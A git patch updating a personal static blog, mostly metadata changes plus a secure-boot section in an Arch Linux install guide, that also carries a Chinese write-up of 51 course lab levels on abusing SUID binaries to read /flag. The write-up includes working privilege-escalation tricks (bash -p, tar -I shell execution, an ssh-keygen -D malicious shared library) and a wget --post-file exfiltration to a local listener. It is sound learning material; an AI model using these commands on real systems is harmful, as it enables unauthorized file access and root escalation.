From b034b4a0311a8a1061877b9e3efb0c07b37cfa95 Mon Sep 17 00:00:00 2001 From: starlitxiling <1754165401@qq.com> Date: Wed, 24 Jul 2024 18:39:18 +0800 Subject: [PATCH] Site updated: 2024-07-24 18:39:18 --- 2023/09/24/ProgramMisuse/index.html | 4 +- 2023/10/26/Interaction/index.html | 4 +- 2023/11/10/AssembleCrash/index.html | 4 +- 2024/07/12/Install/index.html | 17 +- 2024/07/16/error/index.html | 4 +- 2024/07/17/time/index.html | 4 +- 404.html | 2 +- archives/2023/09/index.html | 2 +- archives/2023/10/index.html | 2 +- archives/2023/11/index.html | 2 +- archives/2023/index.html | 2 +- archives/2024/07/index.html | 2 +- archives/2024/index.html | 2 +- archives/index.html | 2 +- essays/index.html | 4 +- index.html | 2 +- links/index.html | 4 +- masonry/index.html | 4 +- search.xml | 303 ++++++++++++++-------------- tags/index.html | 4 +- tags/pwn/index.html | 2 +- 21 files changed, 189 insertions(+), 187 deletions(-) diff --git a/2023/09/24/ProgramMisuse/index.html b/2023/09/24/ProgramMisuse/index.html index 03b8466..f4654cf 100644 --- a/2023/09/24/ProgramMisuse/index.html +++ b/2023/09/24/ProgramMisuse/index.html @@ -30,7 +30,7 @@ - + @@ -953,7 +953,7 @@

51

- + @@ -1298,7 +1298,7 @@

142

- 15.3k words in total + 15.4k words in total

diff --git a/2023/11/10/AssembleCrash/index.html b/2023/11/10/AssembleCrash/index.html index d41295a..ece6d51 100644 --- a/2023/11/10/AssembleCrash/index.html +++ b/2023/11/10/AssembleCrash/index.html @@ -53,7 +53,7 @@ - + @@ -1073,7 +1073,7 @@

30

- 15.3k words in total + 15.4k words in total

diff --git a/2024/07/12/Install/index.html b/2024/07/12/Install/index.html index 85b1892..17fb7ac 100644 --- a/2024/07/12/Install/index.html +++ b/2024/07/12/Install/index.html @@ -30,7 +30,7 @@ - + @@ -603,8 +603,8 @@

  - 2024-07-17 21:14:18 - 2024-07-17 21:14:18 + 2024-07-24 18:38:44 + 2024-07-24 18:38:44 Updated @@ -615,7 +615,7 @@

-  439 Words +  533 Words @@ -657,7 +657,8 @@

1
sudo efibootmgr -o 0001,0000,0002

(这里的0001数字是你希望作为默认启动硬盘的BootNum,如果是其他的就换成其他的BootNum)

如果你想详细了解RAIDAHCI,你可以参阅以下资料:
RAID
AHCI
https://www.cnblogs.com/FireLife-Cheng/p/16408674.html

-

如果想装nixos,可以参考https://jackyliu16.github.io/blog/2023/dual-system-in-an515-54/

+

安全启动

如果你想为ArchLinux设置安全启动,你可以参考官方文档安全启动 . 强烈建议先把官方文档读一遍!!!这里要注意的点是选择哪个方式,如果你的bios有setup mode,你可以参考easy_method ,如果没有,那你需要将密钥写进bios中,可以参考密钥安全启动 .

+

如果想装nixos,可以参考https://jackyliu16.github.io/blog/2023/dual-system-in-an515-54/

@@ -672,7 +673,7 @@

On this page
Archlinux Install
-
+ @@ -825,7 +826,7 @@

- + @@ -813,7 +813,7 @@

- 15.3k words in total + 15.4k words in total

diff --git a/2024/07/17/time/index.html b/2024/07/17/time/index.html index 560ea8c..1891f6c 100644 --- a/2024/07/17/time/index.html +++ b/2024/07/17/time/index.html @@ -30,7 +30,7 @@ - + @@ -824,7 +824,7 @@

- 15.3k words in total + 15.4k words in total

diff --git a/archives/2023/10/index.html b/archives/2023/10/index.html index 636eccc..93c29c0 100644 --- a/archives/2023/10/index.html +++ b/archives/2023/10/index.html @@ -692,7 +692,7 @@

- 15.3k words in total + 15.4k words in total

diff --git a/archives/2023/11/index.html b/archives/2023/11/index.html index 36dbc3c..6675fc3 100644 --- a/archives/2023/11/index.html +++ b/archives/2023/11/index.html @@ -692,7 +692,7 @@

- 15.3k words in total + 15.4k words in total

diff --git a/archives/2023/index.html b/archives/2023/index.html index 3eb5801..b75b8fe 100644 --- a/archives/2023/index.html +++ b/archives/2023/index.html @@ -692,7 +692,7 @@

- 15.3k words in total + 15.4k words in total

diff --git a/archives/2024/07/index.html b/archives/2024/07/index.html index 47b92b6..26f9304 100644 --- a/archives/2024/07/index.html +++ b/archives/2024/07/index.html @@ -692,7 +692,7 @@

- 15.3k words in total + 15.4k words in total

diff --git a/archives/2024/index.html b/archives/2024/index.html index 9ad5461..c68ca2e 100644 --- a/archives/2024/index.html +++ b/archives/2024/index.html @@ -692,7 +692,7 @@

- 15.3k words in total + 15.4k words in total

diff --git a/archives/index.html b/archives/index.html index 5c2f289..0bb2fac 100644 --- a/archives/index.html +++ b/archives/index.html @@ -692,7 +692,7 @@

- 15.3k words in total + 15.4k words in total

diff --git a/essays/index.html b/essays/index.html index 55d478a..3281f28 100644 --- a/essays/index.html +++ b/essays/index.html @@ -28,7 +28,7 @@ - + @@ -609,7 +609,7 @@

Essays

- 15.3k words in total + 15.4k words in total

diff --git a/index.html b/index.html index 47d2471..fb13af4 100644 --- a/index.html +++ b/index.html @@ -996,7 +996,7 @@

- 15.3k words in total + 15.4k words in total

diff --git a/links/index.html b/links/index.html index c86446c..5ddda84 100644 --- a/links/index.html +++ b/links/index.html @@ -28,7 +28,7 @@ - + @@ -644,7 +644,7 @@

Normal

- 15.3k words in total + 15.4k words in total

diff --git a/masonry/index.html b/masonry/index.html index c89a00e..6d1e5ac 100644 --- a/masonry/index.html +++ b/masonry/index.html @@ -28,7 +28,7 @@ - + @@ -691,7 +691,7 @@

masonry

- 15.3k words in total + 15.4k words in total

diff --git a/search.xml b/search.xml index e6117ff..3262430 100644 --- a/search.xml +++ b/search.xml @@ -269,9 +269,160 @@
sudo efibootmgr -o 0001,0000,0002

(这里的0001数字是你希望作为默认启动硬盘的BootNum,如果是其他的就换成其他的BootNum)

如果你想详细了解RAIDAHCI,你可以参阅以下资料:
RAID
AHCI
https://www.cnblogs.com/FireLife-Cheng/p/16408674.html

-

如果想装nixos,可以参考https://jackyliu16.github.io/blog/2023/dual-system-in-an515-54/

+

安全启动

如果你想为ArchLinux设置安全启动,你可以参考官方文档安全启动 . 强烈建议先把官方文档读一遍!!!这里要注意的点是选择哪个方式,如果你的bios有setup mode,你可以参考easy_method ,如果没有,那你需要将密钥写进bios中,可以参考密钥安全启动 .

+

如果想装nixos,可以参考https://jackyliu16.github.io/blog/2023/dual-system-in-an515-54/

]]> + + Program Misuse + /2023/09/24/ProgramMisuse/ + 这里记录的是ASU 466课程的解题记录,pwn ,这一小节的题目只要学会看man page就能写出来。

+

1

cat /flag
+ + +

2

more /flag
+ +

3

less /flag
+ +

4

tail /flag
+ +

5

head /flag
+ + +

6

sort /flag
+ +

7

vim /flag
+ +

8

emacs /flag
+ +

9

nano /flag
+ +

10

rev /flag | rev
+ +

11

od -w100 -c /flag | sed 's# ##g'
+ +

12

hd -f /flag
+ +

13

xxd /flag
+ +

14

base32 /flag | base32 -d
+

注意这里不能直接base32 -d /flag,因为-d参数要有东西才能解码,所以要先用base32/flag读出来

+

15

base64 /flag | base64 -d
+ +

16

split /flag
cat xaa
+ +

17

gzip -c /flag | gzip -d
+ +

18

bzip2 -c /flag | bzip2 -d
+ +

19

zip -r /flag.zip /flag
unzip -p /flag
+

这里要注意zip命令的顺序,是被压缩后的名字在前,要压缩的文件在后,要加上-r参数

+

20

tar -cvf flag.tar /flag
tar xf flag.tar -O
+

or

+
tar xf /flag -I '/bin/sh -c "cat 1>&2"'
+

第一个是延续压缩+解压的思路,下面是在网上看到的,利用-I参数执行额外程序的方法获得flag

+

21

ar -q flag.ar /flag
cat flag.ar
+ +

22

echo "/flag" | cpio -o > flag.cpio
cat flag.cpio
+ +

23

genisoimage -sort /flag
+ +

24

env cat /flag
+ + +

25

find . -exec cat /flag \; -quit
+

这里后面不加quit会一直find

+

26

vim Makefile
run:
cat /flag

make run
+

or

+
COMMAND='cat /flag';make -s --eval=$'x:\n\t-'"$COMMAND"
+

-s选项告诉make以静默模式运行,也就是不输出详细的构建信息,只显示关键信息。
--eval=$'x:\n\t-'"$COMMAND":--eval用于在执行make时求值指定的表达式;$'x:\n\t-'"COMMAND"是一个将表达式传递给make的字符串
-x是一个Makefile规则,它指定了一个名为x的目标。在这个例子中,x是目标的名字,后面的冒号表示这是一个伪目标。
\n\t-是一个转义字符序列,表示一个换行符和一个制表符。这是Makefile语法中规定的,用于表示命令行的缩进。
"$COMMAND"会被展开为前面定义的COMMAND变量的值 ,也就是cat /flag。这将作为x目标的执行命令。

+

27

nice cat /flag
+ + +

28

timeout 7d cat /flag

+ + +

29

stdbuf -i0 cat /flag
+ +

30

setarch $(arch) cat /flag
+ + +

31

watch -x cat /flag
+ + +

32

socat -u FILE:/flag STDOUT
+ +

33

whiptail --textbox --scrolltext /flag 20 80
+ +

34

awk '{print}' /flag
+ +

35

sed -n 'p' /flag
+ +

36

ed /flag
,p
+

or

+
echo n | ed /flag
+

打开名为 /flag 的文件,并向 ed 命令传递了字符 n。在 ed 编辑器中,n 通常用于打印当前行的内容。

+

37

chown -c hacker /flag
cat /flag
+ +

38

chmod 777 /flag && cat /flag
+ +

39

cp /flag /dev/stdout
+

震惊!原来还可以这样输出!

+

40

mv /usr/bin/cat /usr/bin/mv

mv /flag
+ + +

41

perl脚本

+
my $flags="/flag";

open(my $flag,'<',$flags) or die "Could not open file: $!";

while(my $line = <$flag>){
print $line;
}
close ($flag);
+

perl脚本和bash脚本的区别:
Perl(Practical Extraction and Reporting Language)和Bash(Bourne-Again Shell)是两种不同的编程语言,它们有一些显著的区别:
1. 用途:
- Perl 是一种通用的编程语言,专注于文本处理、数据转换、报告生成、正则表达式和系统管理等任务。Perl通常用于处理复杂的文本操作和数据处理任务。
- Bash 是一种Unix Shell脚本语言,用于操作和自动化命令行环境中的任务。Bash通常用于执行系统命令、管理文件系统、编写简单的脚本以及处理系统级任务。
2. 语法:
- Perl 具有一种更灵活和强大的语法,支持面向对象编程、函数式编程、正则表达式和高级数据结构。它有强大的字符串处理能力和大量的内置模块。
- Bash 的语法相对较简单,主要用于执行命令和控制流操作。它适用于简单的脚本编写和自动化任务。
3. 数据类型:
- Perl 具有更多的内置数据类型,包括标量(scalar)、数组(array)、哈希(hash)以及对象。它对数据处理和数据结构操作更为灵活。
- Bash 主要处理文本和字符串,虽然可以处理数组,但对于更复杂的数据结构支持较弱。
4. 模块和库:
- Perl 拥有丰富的模块和库,涵盖了各种领域,可以加速开发。CPAN(Comprehensive Perl Archive Network)是Perl社区的模块存储库,包含了大量的开源模块。
- Bash 虽然有一些内置的函数和工具,但它的生态系统相对较小,通常需要依赖于外部工具和命令行实用程序来执行复杂的任务。
5. 适用场景:
- Perl 更适合于需要复杂文本处理、正则表达式、数据转换、网络编程、脚本测试和大型应用程序开发等任务。
- Bash 更适合于系统管理、自动化任务、批处理处理、简单脚本编写以及与命令行工具的交互。
总之,Perl和Bash是两种不同的编程语言,各自在不同的领域和用途中具有优势。选择使用哪种语言取决于您要解决的具体问题和任务的性质。有时,它们也可以结合使用,以充分利用各自的优势。

+

42

import os

with open("/flag","r") as file:
content = file.read()
print(content)
+ + +

43

flag = "/flag"

begin
file = File.open(flag,"r")
content = file.read
puts content
rescue Errno::ENOENT
puts "File '#{flag}' not fount."
rescue StandardError => e
puts "An error occurred: #{e}"
ensure
file.close if file
end
+ + +

44

本题最开始是和上面一样尝试写一个bash脚本,然后使用bash命令去执行,但发现依然没有权限访问flag。

+
#!/usr/bin/bash
filename="/flag"

if [ ! -f "$filename" ]; then
echo "File '$filename' not found."
exit 1
fi

while IFS= read -r line; do
echo "$line"
done < "$filename"

exit 0
+ +
#!/usr/bin/bash

cat /flag

exit 0
+

以上两个均会报错权限不允许
后经查阅发现是需要使用bash -p 进行提权,它的意思是以安全模式启动bash,因为在这里bash设置了SUID ,所以在这里是执行了之后相当于在当前命令行下执行的命令都具有bash命令的权限,然后直接使用cat /flag 就好了

+

45

在经过查阅date命令并进行尝试后试出答案,理论上是使用date命令直接报错输出/flag里面的内容

+
date -f /flag

+ +

46

demsg -F /flag
+ + +

47

wc -l --files0-from=/flag
+ + +

48

gcc -E -x c /flag
+

本题最初是想写一个c文件编译读取,但写完后发现不行,和bash那个一样44,经查阅后发现需要这样读取/flag

+
#include <stdio.h>
#include <stdlib.h>

int main() {

int result = system("cat /flag");

if (result == -1) {
perror("Error executing cat command");
return 1;
}

return 0;
}
+ + +

这条命令告诉gcc命令执行预处理操作,以处理/flag文件中的C语言代码,-E 表示执行预处理操作而不进行编译,-x c用于指定输入文件的类型,表示输入文件是C语言代码。

+

49

as -a /flag
+ + +

50

nc -lp 8088 & wget --post-file=/flag http://127.0.0.1:8088
+ +

查看wget命令后使用了-i参数读取,读取出来了但是都是小写,没有通过,后经查阅发现需要这样使用

+

51

related resource
b站提取video

+
#include<stdio.h>
#include<stdlib.h>
static void inject() __attribute__((constructor));
void C_GetFunctionList(){
printf("euid:%d\n",geteuid());
sendfile(1,open("/flag",0),0,4096);
//system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
char *argvv[]={"bash","-p",NULL};
execvp("/bin/bash",argvv);
}
+ +

best answer

+
int C_GetFunctionList()
{
sendfile(1,open("/flag",0),0,4096);
}
+ + +
gcc level51.c -shared -o su.os
ssh-keygen -D ./su.os
+ +

首先翻阅man page可以看到ssh-keygen用-D参数可以直接运行任意的共享库,如果有suid的话就能运行我们的恶意代码造成提权

+

c程序中可以利用<dlfcn.h>头文件中的一系列函数dlopen,dlclose来加载运行共享库。

+

gcc可以通过-shared参数来创建共享库,共享库不能单独运行,它相当于一个必须被别人调用才能运行的程序,它与普通二进制程序的区别可以通过file命令来查看,共享库没有interpreter这样的字段,也就是没有链接解释器。%

+]]>
+ + pwn + +
Program Interaction /2023/10/26/Interaction/ @@ -734,156 +885,6 @@
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>

#define PORT 1858
#define SIZE 1024

void pwncollege(){
    return;
}

int ainb(char* a,char* b){
    long unsigned int len1=strlen(a);
    long unsigned int len2=strlen(b);
    //printf("len(a):%ld\n",len1);
    //printf("len(b):%ld\n",len2);
    if(len1>len2) return 0;
    int xflag=0;
    for(int i=0;i<len2-len1;i++){
        if(strncmp(a,b+i,len1)==0){
            xflag=1;
            break;
        }
    }
    return xflag;
}

int main(int argc,char* argv[],char* env[])
{
    int client_socket = socket(AF_INET, SOCK_STREAM, 0);   //创建和服务器连接套接字
    if(client_socket == -1)
    {
        perror("socket");
        return -1;
    }
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;  /* Internet地址族 */
    addr.sin_port = htons(PORT);  /* 端口号 */
    addr.sin_addr.s_addr = htonl(INADDR_ANY);   /* IP地址 */
    inet_aton("127.0.0.1", &(addr.sin_addr));

    int addrlen = sizeof(addr);
    int listen_socket =  connect(client_socket,  (struct sockaddr *)&addr, addrlen);  //连接服务器
    if(listen_socket == -1)
    {
        perror("connect");
        return -1;
    }
    printf("成功连接到一个服务器\n");
    char buf[SIZE] = {0};
    int ret;
    while(1)        //向服务器发送数据,并接收服务器转换后的大写字母
    {
        //读取服务器内容
        //int ret = read(client_socket, buf, strlen(buf));
        while(1){
            memset(buf, 0, SIZE);//每次读取前重置
            ret = read(client_socket, buf, SIZE);
            printf("ret = %d\n", ret);
            if(0>=ret) break;
            printf("buf = %s", buf);
            printf("\n");
            if(1==ainb("Please send the solution for: ",buf))
            {
                break;
            }
        }
        printf("请输入你要输入的:");
        scanf("%s", buf);
        write(client_socket, buf, strlen(buf));
        write(client_socket, "\n", 1);
    }
    close(listen_socket);
    return 0;
}

这里就是用C语言实现了一个socket连接,然后获取输出,再手动计算结果(因为C语言的计算写起来很复杂)输入给程序,最后运行完成获得flag

-]]> - - pwn - -
- - Program Misuse - /2023/09/24/ProgramMisuse/ - 这里记录的是ASU 466课程的解题记录,pwn ,这一小节的题目只要学会看man page就能写出来。

-

1

cat /flag
- - -

2

more /flag
- -

3

less /flag
- -

4

tail /flag
- -

5

head /flag
- - -

6

sort /flag
- -

7

vim /flag
- -

8

emacs /flag
- -

9

nano /flag
- -

10

rev /flag | rev
- -

11

od -w100 -c /flag | sed 's# ##g'
- -

12

hd -f /flag
- -

13

xxd /flag
- -

14

base32 /flag | base32 -d
-

注意这里不能直接base32 -d /flag,因为-d参数要有东西才能解码,所以要先用base32/flag读出来

-

15

base64 /flag | base64 -d
- -

16

split /flag
cat xaa
- -

17

gzip -c /flag | gzip -d
- -

18

bzip2 -c /flag | bzip2 -d
- -

19

zip -r /flag.zip /flag
unzip -p /flag
-

这里要注意zip命令的顺序,是被压缩后的名字在前,要压缩的文件在后,要加上-r参数

-

20

tar -cvf flag.tar /flag
tar xf flag.tar -O
-

or

-
tar xf /flag -I '/bin/sh -c "cat 1>&2"'
-

第一个是延续压缩+解压的思路,下面是在网上看到的,利用-I参数执行额外程序的方法获得flag

-

21

ar -q flag.ar /flag
cat flag.ar
- -

22

echo "/flag" | cpio -o > flag.cpio
cat flag.cpio
- -

23

genisoimage -sort /flag
- -

24

env cat /flag
- - -

25

find . -exec cat /flag \; -quit
-

这里后面不加quit会一直find

-

26

vim Makefile
run:
cat /flag

make run
-

or

-
COMMAND='cat /flag';make -s --eval=$'x:\n\t-'"$COMMAND"
-

-s选项告诉make以静默模式运行,也就是不输出详细的构建信息,只显示关键信息。
--eval=$'x:\n\t-'"$COMMAND":--eval用于在执行make时求值指定的表达式;$'x:\n\t-'"COMMAND"是一个将表达式传递给make的字符串
-x是一个Makefile规则,它指定了一个名为x的目标。在这个例子中,x是目标的名字,后面的冒号表示这是一个伪目标。
\n\t-是一个转义字符序列,表示一个换行符和一个制表符。这是Makefile语法中规定的,用于表示命令行的缩进。
"$COMMAND"会被展开为前面定义的COMMAND变量的值 ,也就是cat /flag。这将作为x目标的执行命令。

-

27

nice cat /flag
- - -

28

timeout 7d cat /flag

- - -

29

stdbuf -i0 cat /flag
- -

30

setarch $(arch) cat /flag
- - -

31

watch -x cat /flag
- - -

32

socat -u FILE:/flag STDOUT
- -

33

whiptail --textbox --scrolltext /flag 20 80
- -

34

awk '{print}' /flag
- -

35

sed -n 'p' /flag
- -

36

ed /flag
,p
-

or

-
echo n | ed /flag
-

打开名为 /flag 的文件,并向 ed 命令传递了字符 n。在 ed 编辑器中,n 通常用于打印当前行的内容。

-

37

chown -c hacker /flag
cat /flag
- -

38

chmod 777 /flag && cat /flag
- -

39

cp /flag /dev/stdout
-

震惊!原来还可以这样输出!

-

40

mv /usr/bin/cat /usr/bin/mv

mv /flag
- - -

41

perl脚本

-
my $flags="/flag";

open(my $flag,'<',$flags) or die "Could not open file: $!";

while(my $line = <$flag>){
print $line;
}
close ($flag);
-

perl脚本和bash脚本的区别:
Perl(Practical Extraction and Reporting Language)和Bash(Bourne-Again Shell)是两种不同的编程语言,它们有一些显著的区别:
1. 用途:
- Perl 是一种通用的编程语言,专注于文本处理、数据转换、报告生成、正则表达式和系统管理等任务。Perl通常用于处理复杂的文本操作和数据处理任务。
- Bash 是一种Unix Shell脚本语言,用于操作和自动化命令行环境中的任务。Bash通常用于执行系统命令、管理文件系统、编写简单的脚本以及处理系统级任务。
2. 语法:
- Perl 具有一种更灵活和强大的语法,支持面向对象编程、函数式编程、正则表达式和高级数据结构。它有强大的字符串处理能力和大量的内置模块。
- Bash 的语法相对较简单,主要用于执行命令和控制流操作。它适用于简单的脚本编写和自动化任务。
3. 数据类型:
- Perl 具有更多的内置数据类型,包括标量(scalar)、数组(array)、哈希(hash)以及对象。它对数据处理和数据结构操作更为灵活。
- Bash 主要处理文本和字符串,虽然可以处理数组,但对于更复杂的数据结构支持较弱。
4. 模块和库:
- Perl 拥有丰富的模块和库,涵盖了各种领域,可以加速开发。CPAN(Comprehensive Perl Archive Network)是Perl社区的模块存储库,包含了大量的开源模块。
- Bash 虽然有一些内置的函数和工具,但它的生态系统相对较小,通常需要依赖于外部工具和命令行实用程序来执行复杂的任务。
5. 适用场景:
- Perl 更适合于需要复杂文本处理、正则表达式、数据转换、网络编程、脚本测试和大型应用程序开发等任务。
- Bash 更适合于系统管理、自动化任务、批处理处理、简单脚本编写以及与命令行工具的交互。
总之,Perl和Bash是两种不同的编程语言,各自在不同的领域和用途中具有优势。选择使用哪种语言取决于您要解决的具体问题和任务的性质。有时,它们也可以结合使用,以充分利用各自的优势。

-

42

import os

with open("/flag","r") as file:
content = file.read()
print(content)
- - -

43

flag = "/flag"

begin
file = File.open(flag,"r")
content = file.read
puts content
rescue Errno::ENOENT
puts "File '#{flag}' not fount."
rescue StandardError => e
puts "An error occurred: #{e}"
ensure
file.close if file
end
- - -

44

本题最开始是和上面一样尝试写一个bash脚本,然后使用bash命令去执行,但发现依然没有权限访问flag。

-
#!/usr/bin/bash
filename="/flag"

if [ ! -f "$filename" ]; then
echo "File '$filename' not found."
exit 1
fi

while IFS= read -r line; do
echo "$line"
done < "$filename"

exit 0
- -
#!/usr/bin/bash

cat /flag

exit 0
-

以上两个均会报错权限不允许
后经查阅发现是需要使用bash -p 进行提权,它的意思是以安全模式启动bash,因为在这里bash设置了SUID ,所以在这里是执行了之后相当于在当前命令行下执行的命令都具有bash命令的权限,然后直接使用cat /flag 就好了

-

45

在经过查阅date命令并进行尝试后试出答案,理论上是使用date命令直接报错输出/flag里面的内容

-
date -f /flag

- -

46

demsg -F /flag
- - -

47

wc -l --files0-from=/flag
- - -

48

gcc -E -x c /flag
-

本题最初是想写一个c文件编译读取,但写完后发现不行,和bash那个一样44,经查阅后发现需要这样读取/flag

-
#include <stdio.h>
#include <stdlib.h>

int main() {

int result = system("cat /flag");

if (result == -1) {
perror("Error executing cat command");
return 1;
}

return 0;
}
- - -

这条命令告诉gcc命令执行预处理操作,以处理/flag文件中的C语言代码,-E 表示执行预处理操作而不进行编译,-x c用于指定输入文件的类型,表示输入文件是C语言代码。

-

49

as -a /flag
- - -

50

nc -lp 8088 & wget --post-file=/flag http://127.0.0.1:8088
- -

查看wget命令后使用了-i参数读取,读取出来了但是都是小写,没有通过,后经查阅发现需要这样使用

-

51

related resource
b站提取video

-
#include<stdio.h>
#include<stdlib.h>
static void inject() __attribute__((constructor));
void C_GetFunctionList(){
printf("euid:%d\n",geteuid());
sendfile(1,open("/flag",0),0,4096);
//system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
char *argvv[]={"bash","-p",NULL};
execvp("/bin/bash",argvv);
}
- -

best answer

-
int C_GetFunctionList()
{
sendfile(1,open("/flag",0),0,4096);
}
- - -
gcc level51.c -shared -o su.os
ssh-keygen -D ./su.os
- -

首先翻阅man page可以看到ssh-keygen用-D参数可以直接运行任意的共享库,如果有suid的话就能运行我们的恶意代码造成提权

-

c程序中可以利用<dlfcn.h>头文件中的一系列函数dlopen,dlclose来加载运行共享库。

-

gcc可以通过-shared参数来创建共享库,共享库不能单独运行,它相当于一个必须被别人调用才能运行的程序,它与普通二进制程序的区别可以通过file命令来查看,共享库没有interpreter这样的字段,也就是没有链接解释器。%

]]>
pwn diff --git a/tags/index.html b/tags/index.html index b581ed7..237cb97 100644 --- a/tags/index.html +++ b/tags/index.html @@ -28,7 +28,7 @@ - + @@ -617,7 +617,7 @@

Tags

- 15.3k words in total + 15.4k words in total

diff --git a/tags/pwn/index.html b/tags/pwn/index.html index 4ddaed8..2e2fb63 100644 --- a/tags/pwn/index.html +++ b/tags/pwn/index.html @@ -647,7 +647,7 @@

- 15.3k words in total + 15.4k words in total